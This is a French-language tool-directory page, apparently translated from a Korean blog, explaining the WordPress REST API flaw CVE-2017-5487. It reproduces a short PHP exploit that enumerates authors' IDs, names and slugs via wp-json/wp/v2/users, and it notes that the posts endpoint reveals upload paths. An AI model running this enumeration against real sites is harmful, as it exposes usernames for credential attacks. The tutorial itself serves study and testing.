Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2017-5487 — cve-2017-5487 vulnérabilité de l'API REST wp | Kitploit
Outils/GitHubGitHub/tpdlshdmlrkfmcla/cve-2017-5487
ReconnaissanceAnalyse des VulnérabilitésExploitationCollecte d'InformationsSécurité WebApprentissage et Éducation
GitHubtpdlshdmlrkfmcla/cve-2017-5487

cve-2017-5487

cve-2017-5487 vulnérabilité de l'API REST wp

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
  1. Qu'est-ce que CVE-2017-5487 ?

: Dans les versions de WordPress antérieures à 4.7.1, l'implémentation de l'API REST dans wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php ne limitait pas la liste des auteurs publiés, permettant à un attaquant distant d'obtenir des informations sensibles via une requête wp-json/wp/v2/users.

( Référence : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487 )

Si vous ne comprenez pas, découvrons d'abord les connaissances de base, puis apprenons par la pratique.

Si vous pensez que les connaissances de base ne sont pas nécessaires, vous pouvez commencer par [3].

  1. Qu'est-ce que l'API REST ?

: En termes simples, une API qui définit « quoi faire et comment » peut être appelée API REST.

: Pour être plus précis, l'API REST consiste à définir des ressources via une URI HTTP et à les manipuler à l'aide de méthodes HTTP et de charges utiles.

: REST = REpresentational State Transfer (acronyme)

2.1 Ressources définies par une URI HTTP

: Une ressource désigne l'objet traité.

ex) documents JSON, XML, fichiers image comme jpg, fichiers vidéo comme mp4, etc.

: URI signifie Uniform Resource Identifier (identifiant uniforme de ressource). L'URL que nous voyons couramment fait également partie de l'URI ; elle identifie une ressource.

ex) Si l'accès à http://rootable.tistory.com/user/test permet d'obtenir des informations sur un utilisateur nommé test, cela constitue également une URI.

2.2 Méthodes HTTP

: Ces méthodes fonctionnent de la même manière quel que soit le format de la ressource.

: Les méthodes utilisées dans l'API REST incluent POST, GET, PUT, PATCH, DELETE, etc. Il faut noter qu'elles diffèrent de leurs fonctions habituelles. Par exemple, POST est généralement utilisé pour envoyer des données ou des documents à un serveur, mais dans l'API REST, il est utilisé pour la création (create).

  • Résumé des méthodes HTTP et des opérations CRUD
Méthode HTTPOpération CRUD
POSTcreate
GET
  • Une opération CRUD est un terme générique pour les opérations Create, Read, Update, Delete utilisées par les logiciels informatiques pour traiter les données de base.

ex) API REST pour ajouter un utilisateur nommé doni aux utilisateurs de http://rootable.tistory.com :

POST http://rootable.tistroy.com/users/doni

ex) Lors de la création d'un utilisateur nécessitant diverses caractéristiques (profession, âge, sexe, etc.), différents langages d'expression comme XML ou JSON sont précisés dans le corps de la requête :

POST http://rootable.tistory.com/users Content-Type: application/json

root@kitploit:~
{
"username" : "doni",
"age" : "27"
}
  1. API REST de WordPress

: Nous avons dit que l'API REST est une API prédéfinie qui décrit comment manipuler les ressources. Quelles sont donc les API REST définies par WordPress ?

Référez-vous au tableau ci-dessous.

On voit que plusieurs API REST sont définies. On remarque que /wp/v2/users, présent dans le CVE que nous allons étudier, y figure.

  1. Exploitation du CVE

4.1. Obtention d'informations sur l'auteur d'un article

  • Voici le code trouvé sur EXPLOIT DB ( https://www.exploit-db.com/exploits/41497/ ).

  • Comme on peut le voir dans le code, il se contente de traiter le résultat et de l'afficher proprement. Il n'est pas nécessaire d'utiliser cet exploit ; on peut obtenir les informations en y accédant directement. Donc, pour une meilleure lisibilité, il n'est pas nécessaire d'aller jusqu'à la vulnérabilité FU.

root@kitploit:~
#!usr/bin/php
<?php
 
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: [email protected]
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');
 
 
$url= "http://localhost/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}
 
 
?>

En enregistrant ce code PHP dans l'installation de WordPress et en l'exécutant, on obtient le résultat ci-dessous.

(Image)

Si l'on y accède directement, le résultat ressemble à ceci. (Cliquez si ce n'est pas clair)

(Image)

Les informations que l'on peut en tirer sont l'ID, le nom, etc. des utilisateurs ayant écrit des articles.

Remarque : Je pensais que tous les utilisateurs enregistrés seraient visibles, mais les tests montrent que seuls les comptes des auteurs d'articles apparaissent. Dans la description du CVE, le mot « author » apparaît, ce qui doit faire référence à l'auteur.

4.2. Obtention du chemin de téléchargement des fichiers

Parmi les API REST de WordPress, on trouve /wp/v2/posts. En y accédant, on voit des informations sur les articles publiés. Comme indiqué, on peut y obtenir le chemin de téléchargement des fichiers. Si une vulnérabilité FU est découverte, cela pourrait être très utile.

(Image)

  • Si l'accès à posts renvoie trop d'informations, on peut accéder à [/wp-json/wp/v2/posts/20] pour n'obtenir que les informations sur le 20e article.
  1. Références

Il semble que dans la version 4.7, il soit impossible de consulter les paramètres ou de modifier des articles.

  • Une tentative d'affichage des paramètres renvoie rest_forbidden et l'accès est refusé.

(Image)

  • Une tentative de modification du premier article renvoie un message indiquant que l'article ne peut pas être lu.

(Image)

  • Il est un peu dommage que ce soit moins important que de pouvoir voir les utilisateurs... D'après mes recherches, il n'existe pas de vulnérabilité correspondante. Cependant, il semble exister une vulnérabilité permettant de modifier les articles d'autres utilisateurs dans les versions antérieures à 4.7.1. Cela sera traité dans un prochain article.

Références :

  1. Explication de l'API REST : http://blog.naver.com/PostView.nhn?blogId=complusblog&logNo=220986337770
  2. Convertisseur Unicode : http://koreanstudies.com/unicode-converter.html
  3. Rétrogradation (je recommande de ne pas réinstaller car après avoir essayé, cela n'a pas fonctionné, j'ai donc réinstallé) : http://www.bbsetheme.co.kr/%EC%9B%8C%EB%93%9C%ED%94%84%EB%A0%88%EC%8A%A4-%EB%B2%84%EC%A0%84-%EB%8B%A4%EC%9A%B4%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C-%ED%95%98%EA%B8%B0/
Télécharger l’outil
read
PUTupdate / replace
PATCHupdate / modify
DELETEdelete
RessourceRoute de base
Posts/wp/v2/posts
Post Revisions/wp/v2/revisions
Categories/wp/v2/categories
Tags/wp/v2/tags
Pages/wp/v2/pages
Comments/wp/v2/comments
Taxonomies/wp/v2/taxonomies
Media/wp/v2/media
Users/wp/v2/users
Post Types/wp/v2/types
Post Statuses/wp/v2/statuses
Settings/wp/v2/settings